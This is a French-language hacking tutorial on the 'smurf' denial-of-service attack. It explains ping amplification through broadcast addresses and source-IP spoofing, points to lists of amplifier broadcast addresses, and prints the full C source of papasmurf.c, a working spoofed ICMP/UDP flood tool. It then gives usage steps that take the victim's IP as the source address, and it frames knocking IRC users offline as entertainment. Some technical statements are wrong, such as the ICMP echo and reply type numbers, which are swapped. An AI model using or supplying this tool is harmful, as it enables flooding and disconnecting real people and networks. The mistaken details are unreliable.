"Smurf"
hihihi (17/06/error)
Nous sommes rassemblés pour faire du DoS à gogo
Cinac







      _________
_____/  INTRO  \_________________________________________________

Le smurf c'est un programme basé sur une technique qui a fait ses preuves autant sur IRC que sur des serveurs bien qu'il ne soit pas aussi efficace que le SYN flood sur ceux-ci. Il permet de déconnecter très facilement des personnes connectées sur irc une fois que vous avez leurs IP et ceux de façon très efficace que ce soit contre les 56K ou même les câblés et les heureux possesseurs de l'ADSL quoi que ce soit plus dur contre ceux ci. Le smurf est une technique que je trouve très ingénieuse pour ma part car elle se base sur trois processus distincts n'ayant au demeurant pas grand chose à voir ensemble mais qui, une fois assemblés fait prendre conscience des possibilités des réseaux une fois leur spécificités détournés à notre avantage.

Je parlais de trois processus, il sagit de trois techniques que vous devez probablement déjà connaître. La première est le Ping, la deuxième est le broadcasting et le dernière est le spoofing. Comme vous vous en doutez le smurf ne marche que sur *NIX et NT bien que je n'aie jamais entendu parler d'une quelconque version windows de celui ci. Détaillons dès à présents ces trois processus pour ensuite mieux comprendre le principe de fonctionnement du smurf.

      _______________________
_____/ DANS LE VIF DU SUJET: \____________________________________

* le PING:
Un ping c'est un paquet ICMP ayant comme num de type 0 (ECHO REPLY) et qui une fois qu'il atteint la cible dont l'IP est contenue dans l'header IP (dest addr) lui ordonne de renvoyer un paquet ICMP de num de type 8 (REPLY). En gros vous envoyez un PING et vous recevez un REPLY. Cela sert principalement a l'heure actuelle pour voir si un hôte est toujours connecté au réseaux.

* le Broadcasting:
Un serveur broadcast est un serveur qui a pour fonction de renvoyer ce qu'il reçoit a tous les serveurs de son réseaux. un broadcast a toujours son IP qui fini par 255. Donc si vous voulez envoyer une info à tous les serveurs d'un réseau vous devez l'envoyer au broadcast qui lui se chargera de faire suivre l'info a tous les PC du réseaux. exemple: vous envoyez un paquet TCP à 195.212.45.255 il fera suivre a tous les serveurs existants ayant des IP entre 195.212.45.0 et 195.212.45.254 inclut.
On pourrait trouver surprenant que je ne parle pas de multicasting ici seulement pour le smurf cela ne sera pas intéressant car le spoofing dont je vais parler plus loin empêcherait les procédures d'identifications IGMP nécessaire pour joindre un groupe de serveurs multicast.
En revanche si vous voulez savoir a quel groupe appartient un serveur broadcast et quels sont les serveurs ou ordi qui en dépendent vous pouvez utiliser IGMP.

* le Spoofing:
Le spoofing est une technique qui a pour but de changer son IP pour faire croire que l'on est quelqu'un d'autre. En fait le spoofing ne fait pas vraiment changer notre IP mais le fait juste croire mais jamais à l'ensemble des réseaux. Juste a ceux a qui on veut le faire croire et il ne sera jamais possible de le faire croire a tout le monde. Le spoofing s'effectuera en changeant l'adresse source dans les headers IP des paquets que nous allons envoyer à une cible. Donc nous ferons toujours croire que nous avons une autre IP a la cible et a personne d'autre. Le problème du spoofing étant que nous ne recevrons jamais de réponse et donc agirons en aveugle car la cible ayant une autre IP que notre vraie IP renverras les réponses a cette fausse IP et donc pas à nous.

Bon avec tout ça comment faire pour déconnecter quelqu'un? Comme je vous l'avais dis ces techniques n'ont rien a voir ensemble. Ici suivez moi bien et vous verrez c'est très simple. Bon on a vu que quand on envoie un PING a un serveur il renvoie un REPLY. Nous avons vu que quoi que nous envoyons a un broadcast il le transmet a tous les serveurs connecté a internet du même groupe que lui et nous avons vu que spoofer c'est changer son ip. Que pensez vous qu'il se passerait, sachant ça, si on envoyait un PING a un serveur broadcast? Bien oui vous recevrez autant de ping qu'il y a de serveurs dans le groupe du serveur broadcast ayant reçu votre ping. Maintenant imaginons que vous envoyez 15 PING et que le groupe du broadcast contienne 154 serveurs, vous recevrez 2310 REPLY. En effet ça fait beaucoup. mais maintenant imaginons que dans les paquets ICMP ECHO REPLY que vous envoyez vous avez changé l'adresse source... En gros que vous l'avez spoofée... Qui va se prendre les 2310 REPLY? Bien l'adresse spoofée. Et imaginons que l'adresse IP que vous ayez mis comme adresse source dans le header IP du paquet ICMP soit celle de votre cible. ET imaginez que vous n'envoyez pas 15 ping mais 50 et que le serveur broadcast n'a pas 154 serveurs dans son groupe mais 5437 et qu'en plus vous ne pingiez pas qu'un serveur Broadcast mais 5 ayant chacun le même nombre de serveur dans son groupe et qu'en plus les PING que vous envoyez ne font pas 150 octets mais 2Ko chacun...

Pour 500Ko envoyés (5 Broadcasts * PING de 2Ko * 50 PING) sous la forme de 250 PING, la cible recevra 2718,5 Mo (5 Broadcasts * 5437 serveurs * 2Ko * 50 PING). De quoi faire une sacrement grosse déconnection. Et c'est la qu'on se dit qu'heureusement un ping n'arrivant pas à destination ne génère pas un autre paquet ICMP sinon imaginez ces paquets revenant à leur point de départ (pas nous heureusement) ;)

Mais bien sûr j'exagère un peu, je vous vois mal trouver des Broadcasts contenant 5437 serveurs dans son groupe ni même trouver 5 Broadcasts avec le même nombre de serveurs dans son groupe. Tient, une question intéressante: Pourquoi ne pas prendre qu'un seul broadcast à qui on enverrait plus de PING? Bien tout simplement parce qu'un broadcast peut vouloir ignorer vos PING s'ils sont trop nombreux. Beaucoup de serveurs ont des démons qui ferment leur port ECHO s'il reçoivent des PING a une fréquence trop élevée pour éviter le SYN flood principalement. De plus il n'y a pas d'intérêt pour nous de surcharger un Broadcast alors qu'il y en a tellement a disposition.

comment trouver un broadcast? Bien c'est simple, si un serveur est connecté a internet et a une IP qui finit par 255 c'en est un. Il se peut cependant qu'il n'ait pas de groupe affecté ou que ce groupe soit vide. Pour le vérifier envoyez un PING et voyez combien vous en recevez en retour ou alors envoyez un paquet IGMP (ID de protocole: 2 en IPv4).
 

      _________________
_____/ BROADCAST LIST: \__________________________________________

Le Smurf ne servirait à rien sans une bonne liste de broadcasts constamment mise à jour car évidemment le smurfing est connu et de plus en plus de broadcasts prennent des précautions pour ne pas être utilisés comme "passerelle" de smurfing. Heureusement des serveurs sont spécialisés dans la recherche de broadcasts et ils ne manquent pas. Voici une petite liste de sites contenant de nombreuses adresses de broadcasts:

- http://netscan.org/lamers-r-us.html
- http://www.powertech.no/smurf
- http://www.pulltheplug.com/broadcasts.html

pour ne citer que ceux là...
 

      ______________
_____/ CODE SOURCE: \_____________________________________________

Et bien sur le code source... On sait jamais, des fois que vous n'arriviez pas a le trouver sur le net... Ce qui me paraîtrait surprenant quand même :) Je ne vais pas l'analyser parce que sur bien des points il rejoint jolt2 que j'ai détaillé en détail dans l'article sur "l'IP fragmentation Reassembly".
 

/* papasmurf.c */

#include <stdio.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <time.h>
#ifdef __USE_BSD
#undef __USE_BSD
#endif
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/udp.h>

struct smurf_t
{
    struct sockaddr_in sin;
    int s;
    int udp, icmp;
    int rnd;
    int psize;
    int num;
    int delay;
    u_short dstport[25+1];
    u_short srcport;
    char *padding;
};

void usage (char *);
u_long resolve (char *);
void getports (struct smurf_t *, char *);
void smurficmp (struct smurf_t *, u_long);
void smurfudp (struct smurf_t *, u_long, int);
u_short in_chksum (u_short *, int);
 

int
main (int argc, char *argv[])
{
    struct smurf_t sm;
    struct stat st;
    u_long bcast[1024];
    char buf[32];
    int c, fd, n, cycle, num = 0, on = 1;
    FILE *bcastfile;

    fprintf(stderr, "\n(papa)smurf.c v5.0 by TFreak\n\n");

    if (argc < 3)
        usage(argv[0]);

    memset((struct smurf_t *) &sm, 0, sizeof(sm));
    sm.icmp = 1;
    sm.psize = 64;
    sm.num = 0;
    sm.delay = 10000;
    sm.sin.sin_port = htons(0);
    sm.sin.sin_family = AF_INET;
    sm.srcport = 0;
    sm.dstport[0] = 7;

    sm.sin.sin_addr.s_addr = resolve(argv[1]);

    if ((bcastfile = fopen(argv[2], "r")) == NULL)
    {
        perror("Opening broadcast file");
        exit(-1);
    }

    optind = 3;
    while ((c = getopt(argc, argv, "rRn:d:p:P:s:S:f:")) != -1)
    {
 switch (c)
 {
     case 'r':
  sm.rnd = 1;
  break;

     case 'R':
  sm.rnd = 1;
                sm.srcport = 0;
  break;

     case 'n':
  sm.num = atoi(optarg);
  break;

     case 'd':
  sm.delay = atoi(optarg);
  break;

     case 'p':
  if (strchr(optarg, ','))
      getports(&sm, optarg);
  else
      sm.dstport[0] = (u_short) atoi(optarg);
  break;

     case 'P':
  if (strcmp(optarg, "icmp") == 0)
  {
      sm.icmp = 1;
      break;
  }
  if (strcmp(optarg, "udp") == 0)
  {
      sm.icmp = 0;
      sm.udp = 1;
      break;
  }
  if (strcmp(optarg, "both") == 0)
  {
      sm.icmp = 1;
      sm.udp = 1;
      break;
  }

  puts("Error: Protocol must be icmp, udp or both");
  exit(-1);

     case 's':
  sm.srcport = (u_short) atoi(optarg);
  break;

     case 'S':
  sm.psize = atoi(optarg);
  break;

     case 'f':
  if ((fd = open(optarg, O_RDONLY)) == -1)
  {
      perror("Opening packet data file");
      exit(-1);
  }
  if (fstat(fd, &st) == -1)
  {
      perror("fstat()");
      exit(-1);
  }

  sm.padding = (char *) malloc(st.st_size);
  if (read(fd, sm.padding, st.st_size) < st.st_size)
  {
      perror("read()");
      exit(-1);
  }

  sm.psize = st.st_size;
  close(fd);
  break;

            default:
                usage(argv[0]);
        }
    }

    if (!sm.padding)
    {
 sm.padding = (char *) malloc(sm.psize);
 memset(sm.padding, 0, sm.psize);
    }

    if ((sm.s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
    {
 perror("Creating raw socket (are you root?)");
 exit(-1);
    }

    if (setsockopt(sm.s, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
    {
 perror("setsockopt()");
 exit(-1);
    }

    while (fgets(buf, sizeof buf, bcastfile) != NULL)
    {
 char *p;
 int valid;

        if (buf[0] == '#' || buf[0] == '\n') continue;

        buf[strlen(buf) - 1] = '\0';

        for (p = buf, valid = 1; *p != '\0'; p++)
        {
            if ( ! isdigit(*p) && *p != '.' )
            {
                fprintf(stderr, "Skipping invalid ip %s\n", buf);
                valid = 0;
                break;
            }
        }

        if (valid)
        {
     bcast[num] = inet_addr(buf);
            num++;
     if (num == 1024)
  break;
        }
    }

    srand(time(NULL) * getpid());

    for (n = 0, cycle = 0; n < sm.num || !sm.num; n++)
    {
 if (sm.icmp)
     smurficmp(&sm, bcast[cycle]);

 if (sm.udp)
 {
     int x;
     for (x = 0; sm.dstport[x] != 0; x++)
         smurfudp(&sm, bcast[cycle], x);
 }

 usleep(sm.delay);

 if (n % 50 == 0)
 {
     printf(".");
     fflush(stdout);
 }

 cycle = (cycle + 1) % num;
    }

    exit(0);
}
 

void
usage (char *s)
{
    fprintf(stderr,
            "usage: %s <source host> <broadcast file> [options]\n"
     "\n"
     "Options\n"
     "-p: Comma separated list of dest ports (default 7)\n"
     "-r: Use random dest ports\n"
     "-R: Use random src/dest ports\n"
     "-s: Source port (0 for random (default))\n"
     "-P: Protocols to use.  Either icmp, udp or both\n"
     "-S: Packet size in bytes (default 64)\n"
     "-f: Filename containg packet data (not needed)\n"
     "-n: Num of packets to send (0 is continuous (default))\n"
     "-d: Delay inbetween packets (in ms) (default 10000)\n"
     "\n", s);
    exit(-1);
}
 

u_long
resolve (char *host)
{
    struct in_addr in;
    struct hostent *he;

    if ((in.s_addr = inet_addr(host)) == -1)
    {
 if ((he = gethostbyname(host)) == NULL)
 {
            herror("Resolving victim host");
     exit(-1);
 }

 memcpy( (caddr_t) &in, he->h_addr, he->h_length);
    }

    return(in.s_addr);
}
 

void
getports (struct smurf_t *sm, char *p)
{
    char tmpbuf[16];
    int n, i;

    for (n = 0, i = 0; (n < 25) && (*p != '\0'); p++, i++)
    {
 if (*p == ',')
 {
            tmpbuf[i] = '\0';
     sm->dstport[n] = (u_short) atoi(tmpbuf);
     n++; i = -1;
     continue;
 }

 tmpbuf[i] = *p;
    }
    tmpbuf[i] = '\0';
    sm->dstport[n] = (u_short) atoi(tmpbuf);
    sm->dstport[n + 1] = 0;
}
 

void
smurficmp (struct smurf_t *sm, u_long dst)
{
    struct iphdr *ip;
    struct icmphdr *icmp;
    char *packet;

    int pktsize = sizeof(struct iphdr) + sizeof(struct icmphdr) + sm->psize;

    packet = malloc(pktsize);
    ip = (struct iphdr *) packet;
    icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));

    memset(packet, 0, pktsize);

    ip->version = 4;
    ip->ihl = 5;
    ip->tos = 0;
    ip->tot_len = htons(pktsize);
    ip->id = htons(getpid());
    ip->frag_off = 0;
    ip->ttl = 255;
    ip->protocol = IPPROTO_ICMP;
    ip->check = 0;
    ip->saddr = sm->sin.sin_addr.s_addr;
    ip->daddr = dst;

    icmp->type = ICMP_ECHO;
    icmp->code = 0;
    icmp->checksum = htons(~(ICMP_ECHO << 8)); /* thx griffin */

    if (sendto(sm->s, packet, pktsize, 0, (struct sockaddr *) &sm->sin,
        sizeof(struct sockaddr)) == -1)
    {
 perror("sendto()");
 exit(-1);
    }

    free(packet);     /* free willy! */
}
 

void
smurfudp (struct smurf_t *sm, u_long dst, int n)
{
    struct iphdr *ip;
    struct udphdr *udp;
    char *packet, *data;

    int pktsize = sizeof(struct iphdr) + sizeof(struct udphdr) + sm->psize;

    packet = (char *) malloc(pktsize);
    ip = (struct iphdr *) packet;
    udp = (struct udphdr *) (packet + sizeof(struct iphdr));
    data = (char *) (packet + sizeof(struct iphdr) + sizeof(struct udphdr));

    memset(packet, 0, pktsize);
    if (*sm->padding)
        memcpy((char *)data, sm->padding, sm->psize);

    ip->version = 4;
    ip->ihl = 5;
    ip->tos = 0;
    ip->tot_len = htons(pktsize);
    ip->id = htons(getpid());
    ip->frag_off = 0;
    ip->ttl = 255;
    ip->protocol = IPPROTO_UDP;
    ip->check = 0;
    ip->saddr = sm->sin.sin_addr.s_addr;
    ip->daddr = dst;

    if (sm->srcport) udp->source = htons(sm->srcport);
    else udp->source = htons(rand());
    if (sm->rnd) udp->dest = htons(rand());
    else udp->dest = htons(sm->dstport[n]);
    udp->len = htons(sizeof(struct udphdr) + sm->psize);
//    udp->check = in_chksum((u_short *)udp, sizeof(udp));

    if (sendto(sm->s, packet, pktsize, 0, (struct sockaddr *) &sm->sin,
        sizeof(struct sockaddr)) == -1)
    {
 perror("sendto()");
 exit(-1);
    }

    free(packet);    /* free willy! */
}
 

u_short
in_chksum (u_short *addr, int len)
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;

    while (nleft > 1)
    {
        sum += *w++;
        nleft -= 2;
    }

    if (nleft == 1)
    {
        *(u_char *)(&answer) = *(u_char *)w;
        sum += answer;
    }

    sum = (sum >> 16) + (sum + 0xffff);
    sum += (sum >> 16);
    answer = ~sum;
    return(answer);
}
 
 

      ______________
_____/ UTILISATION: \_____________________________________________

Bon pour que l'on ait les mêmes références on va dire que ce code source s'appelle papasmurf.c, ce qui est vrai dailleurs, et qu'une fois compilé il s'appelle "smurf" (cc papasmurf.c -o smurf).

En gros si on le lance comme ça: ./smurf, ca donne: ./smurf <source host> <broadcast file> [option] ce qui veut dire en gros que deux champs sont obligatoires, "source host" et "broadcast file".

Dans "source host" vous mettez l'adresse IP de la cible et dans "broadcast file" vous mettez le nom du fichier qui contient toutes les adresses des serveurs broadcast. Vous devez bien sûr créer ce fichier et le remplir par les adresses de broadcasts que vous avez trouvées dans les sites que j'ai cités dans la partie "broadcast list".

Les options sont expliqués et ne sont pas obligatoires dans l'utilisation basique du programme, je n'en parlerai donc pas.
 

      _______________
_____/ C'EST PATCHE: \____________________________________________

Hihihi non c'est pas patché. Mais que pouvez vous faire contre ce genre d'attaque? Bien vous pouvez déjà commencer par prendre une connection cablée ou telle que l'ADSL ou RNIS et oublier votre vieux modem 56K car plus votre connection sera rapide plus elle pourra recevoir des centaines de PING sans broncher. Vous pouvez aussi passer par une wingate ou un proxy qui a une connection plus rapide que la votre, cala vous fera ralentir et lui aussi probablement s'il est smurfé mais cela ne le fera probablement pas deconnecter et vous non plus par la même occasion. Et sinon vous pouvez toujours lancer des programmes de detection de smurf qui s'apparentent pas mal à des sniffers mais des sniffers dédiés comme SmurfLog dont la version 1.0 disponible a l'adresse suivante: http://www.securityfocus.com/data/tools/smurflog-1.0.tgz

      _______________
_____/  CONCLUSION:  \____________________________________________

Le smurf est assez peu utile contre les serveurs sauf si vous avez une bonne connection et que vous avez une bonne liste de serveurs Broadcasts par contre ça fait fureur sur IRC... Le tout c'est d'y prendre du plaisir :)
 
 

Coding Is Not A Crime